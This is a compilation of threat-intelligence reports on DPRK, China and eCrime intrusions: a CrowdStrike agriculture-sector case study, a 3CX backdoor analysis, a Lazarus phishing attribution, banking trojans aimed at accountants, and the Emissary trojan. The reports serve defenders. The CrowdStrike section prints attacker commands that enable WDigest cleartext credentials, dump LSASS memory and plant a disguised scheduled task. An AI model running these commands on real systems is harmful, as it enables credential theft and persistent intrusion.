Self-sufficiency is a core tenet of the DPRK’s underlying political philosophy, and agricultural independence is seen as a key enabling factor for the country’s growth. Despite the DPRK’s long-held ambitions to achieve agricultural self-sufficiency, efforts to modernize and expand the sector have faced repeated setbacks. These include a lack of arable land, widespread natural disasters, and limited access to many crucial agricultural inputs due to DPRK’s government-controlled economy. In this context, CrowdStrike Intelligence assesses that proprietary information related to agricultural production would likely be a significant asset to the DPRK’s agricultural programs. Two DPRK-nexus targeted intrusion adversary groups associated with agricultural sector targeting — LABYRINTH CHOLLIMA and SILENT CHOLLIMA — are assessed to conduct espionage operations in support of the DPRK’s Reconnaissance General Bureau (RGB) Bureau 121, which could support the country’s agricultural development goals.
### China
China is the world’s largest agricultural producing nation, despite a limited amount of arable land relative to the country’s size. The sector accounts for approximately 10% of China’s total gross domestic product (GDP) and employs more than a quarter of the country’s workforce. For these reasons, the agricultural sector is inexorably tied to Chinese economic growth. China-nexus adversary groups engage in aggressive economic espionage campaigns to forcibly transfer proprietary technology and intellectual property from advanced industrial nations, with the goal of spurring economic development. Many of these campaigns have targeted the 10 industrial areas highlighted in Beijing’s “Made in China 2025 Plan,” which includes agricultural machinery. The China-nexus adversary WICKED PANDA is known to target the agricultural sector for likely economic espionage goals.
## Hacktivist Threat
Finally, agriculture is a sector that attracts attention from a diverse range of interest groups, among them animal rights and environmental protection activists. While the threat level is perceived to be low, organizations in this industry should remain alert to the possibility of opportunistic hacktivist activity.
## Follow the Hunt
The intrusion story below explores an incident involving a CrowdStrike Falcon® platform customer in the agriculture sector that did not have Falcon deployed to all workloads in its network. One of the unmonitored hosts, not covered by Falcon, became the weak point in the business’s cyber defenses. This single host became a beachhead from which an eCrime adversary was able to achieve lateral movement and commence credential harvesting activities. CrowdStrike strongly recommends customers deploy full sensor coverage across their environment to ensure that there are no weak points in their defense. This case study shows how quickly an eCrime adversary can navigate a victim’s environment once they have managed to gain access. It also details how OverWatch threat hunters acted equally rapidly to find the intrusion and enable this agricultural business to eradicate the adversary from their environment, despite only having limited visibility within the network environment.
### Threat Hunting Enables Timely Pest Control Against SPIDER Adversary
Recently, Falcon OverWatch discovered a suspected interactive SPIDER (aka eCrime) intrusion against a large agriculture company. In the early morning, outside of the customer’s normal operating hours, OverWatch hunters uncovered suspicious discovery commands being executed on a Windows host under a process that was unique in the customer’s environment. OverWatch regularly uses telemetry from across the global Falcon install base to rapidly identify activity that is anomalous and worthy of further investigation. In this instance, the unique binary was:
```
FILE: C:\Windows\IntelliAdminRPC\RemoteExecute.exe
HASH: aa63dfec54e9bdf529fdad1fe47eee45391a99b007878abf56a490b023e6b245
```
This binary is associated with commercially available remote administration software. However, the hunters recognized it as only present on this one host within this customer’s network environment, along with suspicious commands spawned from it, so they continued hunting further.
Within the first three minutes of establishing a presence on the host, the adversary executed several basic initial reconnaissance commands using the RemoteExecute.exe process:
```
ver
systeminfo
net group "Domain Admins" /domain
netstat -ano -p tcp
```
OverWatch threat hunters immediately notified the victim of the suspicious activity before commencing a more detailed investigation into the source of the intrusion.
### Retracing the Adversary’s Steps
OverWatch found that the RemoteExecute.exe binary was written to the victim host by another host within the network’s VPN range. That other host did not have the Falcon sensor installed, which meant that OverWatch did not have visibility to identify the intrusion at initial access. This allowed the adversary to establish an internal beachhead from which they executed their commands remotely.
Five minutes after gaining access to the host OverWatch could see, the adversary modified the registry to implement a widely known procedure that enables credentials to be stored in clear text within memory, facilitating credential theft:
```
reg add hklm\system\currentcontrolset\control\securityproviders\wdigest /v UseLogonCredential /t REG_DWORD /d 1 /F
```
Roughly 15 minutes later, after running additional basic host and network discovery commands, the adversary ran the following command:
```
"c:\windows\system32\cmd.exe" /c rundll32 C:\windows\system32\comsvcs.dll, MiniDump 576 c:\windows\temp\TMPdx12.dmp full
```
This is an example of a known technique for creating a minidump of the LSASS process to extract credentials without using Mimikatz. In this particular method, the adversary abused the Windows native comsvcs.dll dynamic link library (DLL), executing the binary via rundll32.exe to perform the credential dumping. This binary is generally associated with legitimate Windows COM+ Services. Thanks to the Falcon sensor’s defenses, the credential dumping attempt did not succeed.
Next, the adversary executed the script `%SYSTEMROOT%\IntelliAdminRPC\inst.bat`, which resulted in a series of commands consistent with those within a publicly shared registry file. In doing so, the adversary implemented a form of Component Object Model (COM) hijacking in an attempt to create persistence and execute their tooling without detection. The adversary next attempted to finalize persistence by registering a scheduled task masquerading as “GoogleUpdates” in order to spawn their backdoor every 30 minutes:
```
"c:\windows\system32\cmd.exe" /c cmd /c schtasks /create /F /SC minute /MO 30 /TN "\UpdateTasks\GoogleUpdates" /TR "rundll32 /sta {[CLSID for Hijacked COM Object]}"
```
It is unclear if the adversary’s inst.bat script functioned as intended, as they proceeded to run it multiple times over the course of the next hour. This activity took place concurrently with further account, host, and network discovery.
During that time period, the adversary also attempted to save the SAM and SYSTEM registry hives for attempted credential access and created a new user account with a password set to not expire. Next, they executed the following commands to employ further variations of attempted credential dumping, but Falcon blocked these efforts as well:
```
powershell -ep bypass "Import-Module c:\windows\system32\catroot\mini.ps1;Get-Process lsass | Out-Minidump"
procdump64.exe -accepteula -ma lsass.exe dmp.se.dmp
```
Threat hunting ensured the timely discovery and disruption of this eCrime intrusion. OverWatch tracked the adversary from the initial attempt to access a Falcon-protected endpoint until the customer used the Falcon platform to isolate the victim host, containing the intrusion and avoiding a potential breach. After the immediate threat was addressed, OverWatch reviewed all related malicious activity in detail. Hunters used this information to hone their preparation for this adversary by identifying features of these malicious actions that will inform future threat hunting efforts. Feeding key observations like this into future hunting leads is an essential part of the iterative threat hunting process, as described in a blog outlining the OverWatch SEARCH hunting methodology.
This incident also serves as an important reminder of the very real threat that eCrime poses to the agriculture sector. This is particularly true in the context of the sudden and unprecedented spike in intrusion activity that OverWatch has recorded in this sector in recent months. Businesses that have until now considered themselves an unlikely target for interactive threats should take notice of the shifting cyber landscape. Now is the time to look at measures to mature security posture preemptively.
While this attack could have been opportunistic rather than specifically focusing on an agriculture target, it is at least indicative of the threats agriculture organizations face.
## Security Recommendations
### Threat Hunting
The eCrime intrusion chronicled in this blog demonstrates the critical importance of threat hunting supported by comprehensive visibility across the environment at all hours of the day. In this case, the lack of OverWatch visibility into the initially compromised host enabled the adversary to establish a beachhead on this unmonitored part of the network. Yet despite having gained access to the network through the customer’s VPN pool, proactive threat hunting was there to catch them as soon as they tried to perform actions on endpoints covered by Falcon. Further, despite this intrusion taking place in the early morning, the Overwatch team’s continuous hunting meant that the breach was rapidly discovered and reported, so the victim could disrupt the adversary and stop the breach before further impact.
We strongly recommend that defenders implement proactive threat hunting as part of their defense-in-depth strategy, to support the timely discovery and disruption of adversary tradecraft designed to evade detection by systems built on technology alone. Organizations should also deploy capabilities that provide their threat hunters with full visibility across the entire network’s workloads to avoid blind spots that can become a safe haven for adversaries. Finally, it is crucial that organizations employ continuous threat hunting. The longer an adversary has access to your network, the greater the risk of serious impact to your operations. OverWatch’s 24/7/365 hunting ensures that adversaries have nowhere to hide, even when your staff is off the clock.
### Security Hygiene
It is crucial to plug gaps in your defenses. OverWatch routinely sees adversaries finding and exploiting the weakest point of entry. All too often, that point of weakness is an organization’s VPN or another remote access setup, but it can also be an unpatched vulnerability or simply the part of a victim’s environment without Falcon sensor coverage. Defenders should regularly monitor VPN and other remote access account behavior to identify anomalous behavior, particularly given the increase in remote work many organizations have implemented due to COVID-19.
### Know Your Adversary
The best defenses are always built on the latest and most comprehensive cyber threat intelligence. OverWatch threat hunters and CrowdStrike Intelligence work hand-in-hand to continually feed the threat intelligence lifecycle, allowing you to stay one step ahead of the adversary. Defenders in all settings should develop a deep understanding of the threat landscape for their organization. Staying up-to-date with key adversaries, their motivations, and their tactics, techniques, and procedures (TTPs) will support data-backed, proactive security decisions. |
# 3CX Supply Chain Attack
**OALABS Research**
March 30, 2023
## Overview
From the Volexity post, CrowdStrike identified signed 3CX installation files as being malicious and reported that customers were seeing malicious activity emanating from the “3CXDesktopApp”. 3CX is client software for VOIP phones, that was delivered to targets with a backdoor. The backdoored application was delivered in an MSI `3CXDesktopApp-18.12.416.msi` which is signed by a valid certificate belonging to 3Cx Ltd.
## References
**Samples**
- `3CXDesktopApp-18.12.416.msi`
- `59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983`
- `icon15.ico`
- `f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3`
## Analysis
Let's take a look at the .msi and see what is in there; we can just use 7zip to unzip it. Inside the .msi we have a backdoored file `ffmpeg.dll`.
### Stage 1: ffmpeg.dll
**Artifacts**
- `ffmpeg.dll`
- `7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896`
- `d3dcompiler_47.dll`
- `11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03`
**Functionality**
- Uses `CreateEventW` with the string `AVMonitorRefreshEvent` like a mutex to ensure it is only running once.
- Gets its process path (file location) to locate `d3dcompiler_47.dll` which it expects to be in the same directory.
- Scans `d3dcompiler_47.dll` for the magic hex bytes `0xFEEDFACE`.
- The magic bytes `0xFEEDFACE` occur twice in a row.
- All the file data following the magic bytes is decrypted with RC4 using the hard coded key `3jB(2bsG#@c7`.
- Once decrypted, the data contains shellcode followed by an embedded PE file (Stage 2) which is loaded into memory and executed.
### Signed DLL
The `d3dcompiler_47.dll` DLL is signed by Microsoft. The `0xFEEDFACE` magic bytes suggest that the open source tool SigFlip was used to patch the authenticode signed PE file without breaking the signature.
### Stage 2
**Artifacts**
- Shellcode with stage 2 PE attached
- `b56279136d816a11cf4db9fc1b249da04b3fa3aef4ba709b20cdfbe572394812`
**Functionality**
- Creates a file called `manifest` in the directory from which the process was launched.
- The manifest file is used to maintain a delay timer value for the malware.
- The delay is calculated by adding 7 days to a randomly generated value between 0 days and 20 days, 20 hours for a total potential delay of between 7 days and 20 days, 20 hours.
- When the malware executes, this value is read from the manifest file and checked against the system time; if the time has not expired, the malware will simply sleep.
- The `MachineGuid` key value is read from the registry key `Software\\Microsoft\\Cryptography` then transformed into the following "cookie" value to be used in future C2 requests: `_tutma=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx`.
- A random number generator is used to build a variation of the following URL with an icon file between `icon1.ico` and `icon16.ico` (either I'm not reading the code right or this is an off-by-one error as the icon files are numbered 0-15?):
`https[:]//raw.githubusercontent[.]com/IconStorages/images/main/icon%d.ico`.
- The icon file is downloaded from GitHub and parsed to extract encoded data that is appended to the file.
- The appended data is preceded by a `$` which the malware uses as a marker to identify it.
- The following is an example of the base64 encoded data in `icon15.ico`:
`KQAAAGVhV4u+Eo4SGUuZypP8kNOkwQWzha6sxQrtzFo3oPSejc470WC47cKqv12+CshijG0HCfex40WinKat68EHqq8i6lHiifZpsxN3lxBRabtJ`.
- The data is then base64 decoded and passed through an unidentified generator used to create a key for the data.
- The key is then used to decrypt the remaining data using AES.
- Once decrypted, the data reveals the stage 2 C2 URL: `https[:]//pbxsources[.]com/exchange`; each icon file contains a different URL.
- A request is then sent to the C2 using the `_tutma` cookie described above and stage 3 is downloaded.
**Stage 3 was not recovered.** |
# A "Naver"-ending game of Lazarus APT
Zscaler’s ThreatLabz research team has been closely monitoring a campaign targeting users in South Korea. This threat actor has been active for more than a year and continues to evolve its tactics, techniques, and procedures (TTPs); we believe with high confidence that the threat actor is associated with Lazarus Group, a sophisticated North Korean advanced persistent threat (APT) group.
In 2021, the main attack vector used by this threat actor was credential phishing attacks through emails, posing as Naver, the popular South Korean search engine and web portal. In 2022, the same threat actor started spoofing various important entities in South Korea, including KRNIC (Korea Internet Information Center), Korean security vendors such as Ahnlab, cryptocurrency exchanges such as Binance, and others. Some details about this campaign were published in a Korean blog; however, they did not perform the threat attribution.
Even though the TTPs of this threat actor evolved over time, there were critical parts of their infrastructure that were reused, allowing ThreatLabz to correlate the attacks and do the threat attribution with a high-confidence level. Our research led us to the discovery of command-and-control (C2) domains even before they were used in active attacks by the threat actor. This proactive discovery of attacker infrastructure helps us in preempting the attacks.
In this blog, we will share the technical details of the attack chains and explain how we correlated this threat actor to Lazarus. We would like to thank Dropbox for their quick action in taking down the malicious accounts used by the threat actor and for also sharing valuable threat intelligence that helped us with threat attribution.
## Attack chains
This threat actor has frequently updated its attack chains over the last two months. We identified three unique attack chains used by the threat actor to distribute the malware in emails:
### Spear phishing emails distribution
During our analysis, we discovered that at least one of the IP addresses (222.112.127[.]9) used by the threat actor to log in to the attacker-controlled Dropbox accounts was also used to send spear phishing emails to the victims in South Korea. Below are examples of two such emails that were sent from the IP address 222.112.127[.]9. Note: This IP address is related to KT Corporation, a Korean telecom provider. Multiple IP addresses related to KT Corporation were abused by this threat actor during the current attack.
**Email #1**
In this email, a macro-based document was sent to the victim. The decoy content of the document is related to Menlo Security company. This is consistent with other decoy contents used by the threat actor. For instance, in the document with MD5 hash: 1a536709554860fcc2c147374556205d, the decoy content used was related to Ahnlab - a Korea-based computer security company. This is done for the purpose of social engineering.
**Email #2**
In this email, a password protected macro-based XLS file was sent to the victim. The password for the file was mentioned in the email body. The theme of the file is related to cryptocurrency investments. This theme is consistent with other documents sent in this campaign as well. Lazarus Group is known to have a keen interest in attacking cryptocurrency users, asset managers, and companies.
## Threat attribution
In order to perform the threat actor attribution, we did a correlation of the below data points.
1. C2 IP addresses
2. Attacker-controlled Dropbox accounts’ registrant email addresses
3. C2 domains’ registrant email addresses
4. Passive DNS data
5. Sender's email address in credential phishing attacks
6. Sender's IP address in credential phishing attacks
Note: OSINT information related to the above data points was also used in correlation analysis.
### Correlating different attacks to the same threat actor
As described in the network communication section later in the blog, the Stage-3 binary initially connects to an attacker-controlled Dropbox account to fetch a C2 domain which is used to perform further network communication. In collaboration with Dropbox, we were able to discover the email addresses associated with the attacker-controlled Dropbox accounts used during this attack. One such email address was: peterstewart0326@gmail[.]com. This same email address was recently mentioned in Prevailion's blog. It was linked to several domains which were used during Naver-themed phishing activity. Also, according to this blog from 2021, this same email address was also used to send Naver-themed credential phishing attack emails to users in South Korea. Correlating the above data points, we can say with a high confidence level that the attack chains we have described in this blog are also related to the same threat actor.
### Attribution to Lazarus APT
According to the threat infrastructure mapping done in Prevailion blog, the IP address 23.81.246[.]131 belongs to one of the critical nodes used by the threat actor during Naver-themed phishing activity. One of the domains linked to this IP address was navercorpservice[.]com. If we check the passive DNS data for this domain, we find two other IP address resolutions: 172.93.201[.]253 in November 2021 and 45.147.231[.]213 in September 2021. The IP address 172.93.201[.]253 was recently used to host the domain - disneycareers[.]net which was attributed to Lazarus APT in Google TAG blog. Further, what caught our attention was the IP address 45.147.231[.]213. This IP address was earlier used by a North Korea-based APT threat actor. Recently, we also had a new domain resolution alert for this IP address as part of our C2 infrastructure tracking. If we pivot on the passive DNS data for this IP address, we can see that the domain: www.devguardmap[.]org was hosted on this IP address in Jan 2021 which was attributed to Lazarus APT as per this tweet from ESET and Google TAG blog. Correlating all the above data points, we reached the conclusion that the attack chains we discovered are related to the Lazarus threat actor. To the best of our knowledge, at the time of writing, this threat actor attribution has not been publicly documented yet.
## Technical analysis
For the purpose of technical analysis, we will consider the attack chain starting with a Compiled HTML file having MD5 210db61d1b11c1d233fd8a0645946074.
### Stage 1: Compiled HTML file
The CHM file contains a malicious binary embedded inside it. At runtime, this will be dropped on the filesystem in the path: C:\\programdata\\chmtemp\\chmext.exe and executed. The code responsible for extracting, dropping, and executing the binary is present inside 1hh.html.
### Stage 2: Dropper
The dropper on execution performs the following operations:
1. Detects sleep patching to identify controlled execution environment such as Sandbox execution.
2. Checks the name of all the running processes and terminates if it finds a process running with the name "v3l4sp.exe". This process name corresponds to the security software developed by Ahnlab (a popular and frequently used security vendor in South Korea).
3. Creates a file in the path "C:\ProgramData\Intel\IntelRST.exe".
4. XOR decodes the embedded PE from a hardcoded address.
5. Writes the decoded PE to the file created in Step-3.
6. Modifies PEB to masquerade itself as explorer.exe.
7. Executes IntelRST.exe.
8. Creates RUN registry entry for persistence.
### Stage 3: Dropped binary
The file IntelRST.exe dropped by the Stage-2 dropper is an ASpacked binary. On execution, it performs the following operations:
1. Similar to the dropper binary, it tries to detect sleep patching to identify controlled execution environment.
2. Collects machine information and stores it using the specified format which is later exfiltrated and used as a machine identifier.
3. Checks the name of all the running processes and terminates if there is some process running with the name "v3l4sp.exe" or "AYAgent.aye" or "IntelRST.exe".
4. If running with administrator privileges, then it executes a PowerShell command using cmd.exe to add Windows Defender exclusion.
5. Finally, it starts the network communication.
### Network communication
The network communication occurs in the following sequence:
1. Send a GET request to the URL "https://dl.dropboxusercontent.com/s/k288s9tu2o53v41/zs_url.txt?dl=0".
2. Query the file size and send another network request to read the file content. Note: The file content points to the C2 domain to be used for the rest of the network communication.
3. Using the extracted C2 domain, send a POST request to the path "/post.php" and exfiltrate collected user information.
4. Finally, send a GET request to the path "/{decoded_string_from_step-2_of_Stage-3_binary}/{formatted_string_from_step-2_of_Stage-3_binary}/fecommand.acm". Note: At the time of analysis, we didn't get any active response from the C2 server for the above network request.
## Indicators of compromise
### Hashes
| MD5 | Description |
|-----------------------------------------------|--------------------------------------|
| 37505b6ff02a679e70885ccd60c13f3b | Document |
| c156572dd81c3b0072f62484e90e47a0 | Document (Template based) |
| d7f6b09775b8d90d79404eda715461b7 | Document |
| a0f565f7f579f0d397a42db5a95d4ae8 | Document |
| e2e5644e77e75e422bde075f409d882e | Document |
| 37b7415442ab8ca01e08b2d7bfe809e2 | Document |
| d19dd02cf375d0d03f557556d5207061 | Document |
| e3ffda448df223b240a20dae41e20cef | Document |
| e732bc87033a935bd2d3d56c7772641b | Document |
| 825730d9dd22dbae7f2bd89131466415 | Document |
| c32f40f304777df7cfab428a54bb818b | Document |
| b587851d8a42fc8c23f638bbc2eb866b | Document |
| 4382384feb5ad6b574f68e431006905e | Document |
| 493f59b6933e59029bf3106fd4a2998d | Document |
| bdfb5071f5374f5c0a3714464b1fa5e6 | Document |
| 1769a818548a0b52c7be2a0a213a9384 | Document |
| 7b07cd6bb6b5d4ed6a2892a738fe892b | Document |
| 9775ef6514916977d73e39a6b09029bc | Document |
| 44be20c67a80af8066f9401c5bee43cb | Document |
| 15a7125fe9e629122e1d1389062af712 | Document |
| 1fd8fef169bf48cfdcf506151264128c | Document |
| 9ad00e513364e9f44f1b6712907cba9b | Document |
| 1a536709554860fcc2c147374556205d | Document |
| a2aca7b66f678b85fc7b4015af21c5ee | Document |
| bd416ea51f94d815b5b5b66861cbdcc5 | Document |
| ecb2d07ede5a401c83a5fca8e00fa37a | Document |
| db0483aced77a7db130a6100aef67967 | Document |
| c0b24dc8f53227ce0c64439b302ca930 | Document |
| bb9ee3a6504fbf6a5486af04dbbb5da5 | Document |
| ce00749c908de017010055a83ac0654f | Document |
| 2677f9871cb340750e582cb677d40e81 | Document |
| 90f2b7845c203035f0d7096aa28dda83 | Template |
| 044e701e8d288075b0fb6cd118aa94db | Document |
| 556abc167348fe96abfbf5079c3ad488 | Document |
| 0ef32b48f6ca3a1a22ab87058b3d8aa0 | Document |
| 4548c7f157d300ec39b1821db4daa970 | Document |
| 430d944786e05042cdbe1d795ded2199 | Document |
| 96d86472ff283f6959b7a779f004dfba | Document |
| 137910039cb94c0301154f3d1ec9ba29 | Document |
| 728b908e90930c73edeb1bf58b6a3a64 | Document |
| 1559aeb8e464759247e4588cb6a09877 | Document |
| 6df608342938f0d30a058c48bb9d8d4d | Document |
| 78aa7e785a96f2826ee09a1aa9ab776e | Document |
| 0c2dde41d508941cf215fe8f1f7e03a7 | Document |
| 783e7c3ba39daa28301b841785794d76 | Document |
| a225b7aff737dea737cd969fb307df23 | Document |
| 210db61d1b11c1d233fd8a0645946074 | Compiled HTML (CHM) |
| e25ac08833416b8c7191639b60edfa21 | Document |
| 114f22f3dd6928bed5c779fa918a8f11 | Document |
### File names
| Original Name | Translated Name |
|--------------------------------------|------------------------------------------|
| 확진자 및 동거인 안내 | Guide to confirmed cases and living with them |
| 문 (50).chm | (50).chm |
| 메타콩즈가이드_1900002.chm | Meta Kong's Guide_190002.chm |
| NFT Metakongz Minting.chm | NFT Metakongz Minting.chm |
| 202204_암호화폐_투자기 | 202204_Cryptocurrency_Investment Planning.docx |
| 획.docx | incident report.docx |
| 사건 경위서.docx | Masanhappo-gu 40 billion loan request.docx |
| 마산합포구 400억 대출요청 | 4 billion_fund investment contract.docx |
| 40억_자금투자계약서.docx | Emergency Disaster Subsidy Application Form.docx |
| 긴급재난지원금신청서양식.docx | Daehan Mine Development Co., Ltd. docx |
| 대한광산개발(주).docx | cryptos_login.docx |
| 크립토스_로그인.docx | cryptos_login.docx |
### C2 domains
- naveicoipg[.]online
- naveicoipf[.]online
- naveicoipc[.]tech
- naveicoipa[.]tech
- naveicoipe[.]tech
- naveicoipd[.]tech
- naveicoipep[.]tech
- naveicoiph[.]online
- naveicoipg[.]tech
- naveicoipf[.]tech
- naveicoipb[.]tech
- naveicoipj[.]online
- naveicoipi[.]online
- naveicoipe[.]online
- naveicoipd[.]online
- naveicoipc[.]online
- naveicoipb[.]online
- naveicoipa[.]online
- naveicoipc[.]com
- naveicoipa[.]com
- naveicoip[.]com
- naveicoiph[.]tech
- naveicoip[.]tech
- naveicorp[.]com
- copycatfrag[.]store
- knightsfrag[.]store
- parfumeparlour[.]store
### New domain resolutions for the IP 23.81.246[.]131
- navernidb[.]link
- navermailteam[.]online
- navermailservice[.]com
- mailservicecorp[.]online
- mailhelp[.]online
- mailcustomerservice[.]site
- cloudcentre[.]xyz
- naverservice[.]host
- mailserviceteam[.]email
- navermcorp[.]com
- naverserviceteam[.]com
- naversecurityteam[.]com
- navermanageteam[.]com
- navermailmanage[.]com
- navercorpservice[.]com
- navermailcorp[.]com
- naversecurityservice[.]online
- navermailservice[.]online
- navercorp[.]live
- navercscorp[.]com
- navermanage[.]live
- navermanage[.]com
- navernidmail[.]com
- noreplya[.]xyz
### Emails
**Dropbox accounts associated email addresses**
- peterstewart0326@gmail[.]com
- kimkl0222@hotmail[.]com
- laris081007@hotmail[.]com
### PDB path
D:\Works\PC_2022\ACKS_2012\fengine\Release\fengine.pdb |
# Cybercrime is Focusing on Accountants
We detect a spike in activity from Trojans targeting mostly accountants who work in small and midsize businesses.
Our experts have found that cybercriminals are actively focusing on SMBs, giving particular attention to accountants. Their choice is quite logical — they’re seeking direct access to finances. The most recent manifestation of this trend is a spike in Trojan activity: specifically, from Buhtrap and RTM. They have different functions and ways of spreading, but the same purpose — to steal money from the accounts of businesses.
Both threats are particularly relevant to companies that work in IT, legal services, and small-scale production. Perhaps this can be explained by such companies’ much smaller security budgets in comparison with companies working in the financial sector.
## RTM
Usually, RTM infects victims by using phishing mail. The letters mimic common business correspondence (including phrases such as “return request,” “copies of last month’s documents,” or “request for payment”). Clicking a link or opening an attachment leads to immediate infection, giving operators full access to the infected system.
In 2017, our systems registered 2,376 users attacked by RTM. In 2018, we saw 130,000 targets. And with less than two months having elapsed so far in 2019, we’ve already seen more than 30,000 users who encountered this Trojan. If the trend continues, it will top last year’s record. For now, we can call RTM one of the most active financial Trojans.
The majority of RTM’s targets operate in Russia. However, our experts expect it to cross borders and eventually attack users in other countries.
## Buhtrap
The first encounter with Buhtrap was registered back in 2014. At that time it was the name of a cybercriminal group that was stealing money from Russian financial establishments — to the tune of at least $150,000 per hit. After the source codes of their tools became public in 2016, the name Buhtrap was used for the financial Trojan.
Buhtrap resurfaced in the beginning of 2017 in the TwoBee campaign, where it served primarily as a means of malware delivery. In March of last year, it hit the news, spreading through several compromised major news outlets in whose main pages malicious actors implanted scripts. These scripts executed an exploit for Internet Explorer in visitors’ browsers.
A couple of months later, in July, cybercriminals narrowed down their audience and concentrated on a particular user group: accountants working at small and medium-size businesses. For that reason, they created websites with information particularly for accountants.
We recall this malware because of the new spike, which began in late 2018 and is continuing to this day. In total, our protection systems prevented more than 5,000 Buhtrap attack attempts, 250 of them since the beginning of 2019.
Just like last time, Buhtrap is spreading through exploits embedded in news outlets. As usual, Internet Explorer users are in the group at risk. IE uses an encrypted protocol to download malware from infected sites, complicating analysis and allowing the malware to avoid notice by some security solutions. It still uses a vulnerability that was disclosed back in 2018.
As a result of infection, both Buhtrap and RTM provide full access to compromised workstations. This allows cybercriminals to change the files used for data exchange between accounting and banking systems. Those files have default names and no additional protective measures, so attackers can change them at will. Estimating the damages is challenging, but as we learned, the criminals are siphoning off assets in transactions that do not exceed $15,000 each.
## What Can Be Done?
To protect your business from such threats, we recommend paying exceptional attention to the protection of computers — such as those of accountants and management — that have access to financial systems. Of course, all other machines need protection as well. Here are some more practical tips:
- Install security patches and updates for all software as soon as possible.
- Forbid, to the extent possible, use of remote administration utilities on accountants’ computers.
- Prohibit the installation of any unapproved programs.
- Improve the general security awareness of employees who work with finances, but also focus on antiphishing practices.
- Install a protective solution with active behavioral analysis technologies such as Kaspersky Endpoint Security for Business. |
# Attack on French Diplomat Linked to Operation Lotus Blossom
We observed a targeted attack in November directed at an individual working for the French Ministry of Foreign Affairs. The attack involved a spear-phishing email sent to a single French diplomat based in Taipei, Taiwan, and contained an invitation to a Science and Technology support group event. The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept (POC) code to install a Trojan called Emissary, which is related to the Operation Lotus Blossom campaign. The TTPs used in this attack also match those detailed in the paper. The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan. We have created the Emissary tag for AutoFocus users to track this threat.
On November 10, 2015, threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs. The subject and the body of the email suggest the targeted individual had been invited to a Science and Technology conference in Hsinchu, Taiwan. The email appears quite timely, as the conference was held on November 13, 2015, which is three days after the attack took place.
The email body contained a link to the legitimate registration page for the conference, but the email also had two attachments with the following filenames that also pertain to the conference:
1. 蔡英文柯建銘全國科技後援會邀請函.doc (translates to “Tsai Ker Chien-ming National Science and Technology Support Association invitations.doc”)
2. 書面報名表格.doc (translates to “Written Application Form.doc”)
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332. Upon successful exploitation, the attachments will install a Trojan named Emissary and open a Word document as a decoy. The first attachment opens a decoy that is a copy of an invitation to a Science and Technology conference held in Hsingchu, Taiwan, while the second opens a decoy that is a registration form to attend the conference. The conference was widely advertised online and on Facebook; however, in this case, the invitation includes a detailed itinerary that does not seem to have appeared online. The Democratic Progressive’s Party (DPP) Chairwoman Tsai Ing-wen and DPP caucus whip and Hsinchu representative Ker Chien-ming were the primary political sponsors of the conference and are longtime political allies. Tsai Ing-wen is the current front-runner for the Taiwanese Presidency, and Ker Chien-ming may become Speaker if she wins. The conference focused on using open source technology, open international recruiting, and partnerships to continue developing Hsinchu as the Silicon Valley of Taiwan. It particularly noted France as an ally, and France is Taiwan’s second largest technology partner and fourth largest trading partner in Europe.
## Exploiting CVE-2014-6332
The threat actors attempted to exploit CVE-2014-6332 using the POC code available in the wild. The POC code contains inline comments that explain how the malicious VBScript exploits this vulnerability, so instead of discussing the malicious script or exploit itself, we will focus on the portions of the script that the threat actors modified.
The actors removed the explanatory comments from the VBScript and made slight modifications to the POC code. The only major functional difference between the POC and the VBScript involved adding the ability to extract and run both a decoy document and payload.
The code in the POC does nothing more than launch the notepad.exe application upon successful exploitation. The malicious document creates a file named “ss.vbs” that it writes a VBScript to using a series of “echo” statements. After writing the VBScript, the malicious document executes the “ss.vbs” file.
The ss.vbs file is responsible for locating the payload and decoy document from the initial malicious document, as well as decrypting, saving, and opening both of the files. The script has hardcoded offsets to the location of both the payload and decoy document within the initial document. The script will decrypt both of the embedded files using a two-byte XOR loop that skips the first byte and then decrypts the remaining using “A” and “C” as the key. After decrypting the embedded files, the script saves the decoy to “t.doc” and the payload to “mm.dll” in the “%APPDATA%\LocalData” folder. Finally, the script will open the decoy document and launch the payload by calling its exported function named “Setting”.
## Emissary 5.3 Analysis
The payload of this attack is a Trojan that we track with the name Emissary. This Trojan is related to the Elise backdoor described in the Operation Lotus Blossom report. Both Emissary and Elise are part of a malware group referred to as “LStudio”, which is based on the following debug strings found in Emissary and Elise samples:
- d:\lstudio\projects\worldclient\emissary\Release\emissary\i386\emissary.pdb
- d:\lstudio\projects\lotus\elise\Release\EliseDLL\i386\EliseDLL.pdb
There is code overlap between Emissary and Elise, specifically in the use of a common function to log debug messages to a file and a custom algorithm to decrypt the configuration file. The custom algorithm used by Emissary and Elise to decrypt their configurations uses the “srand” function to set a seed value for the “rand” function, which the algorithm uses to generate a key. While the “rand” function is meant to generate random numbers, the malware author uses the “srand” function to seed the “rand” function with a static value. The static seed value causes the “rand” function to create the same values each time it is called and results in a static key to decrypt the configuration. The seed value is where the Emissary and Elise differ in their use of this algorithm, as Emissary uses a seed value of 1024 and Elise uses the seed value of 2012.
While these two Trojans share code, we consider Emissary and Elise separate tools since their configuration structure, command handler, and C2 communications channel differ. The Emissary Trojan delivered in this attack contains the components listed in Table 1. At a high level, Emissary has an initial loader DLL that extracts a configuration file and a second DLL containing Emissary’s functional code that it injects into Internet Explorer.
| MD5 | Path | Description |
| --- | --- | --- |
| 06f1d2be5e981dee056c231d184db908 | %APPDATA%\LocalData\ishelp.dll | Loader |
| 6278fc8c7bf14514353797b229d562e8 | %APPDATA%\LocalData\A08E81B411.DAT | Emissary Payload |
| e9f51a4e835929e513c3f30299567abc | %APPDATA%\LocalData\75BD50EC.DAT | Configuration file |
| varies | %TEMP%\000A758C8FEAE5F.TMP | Log file |
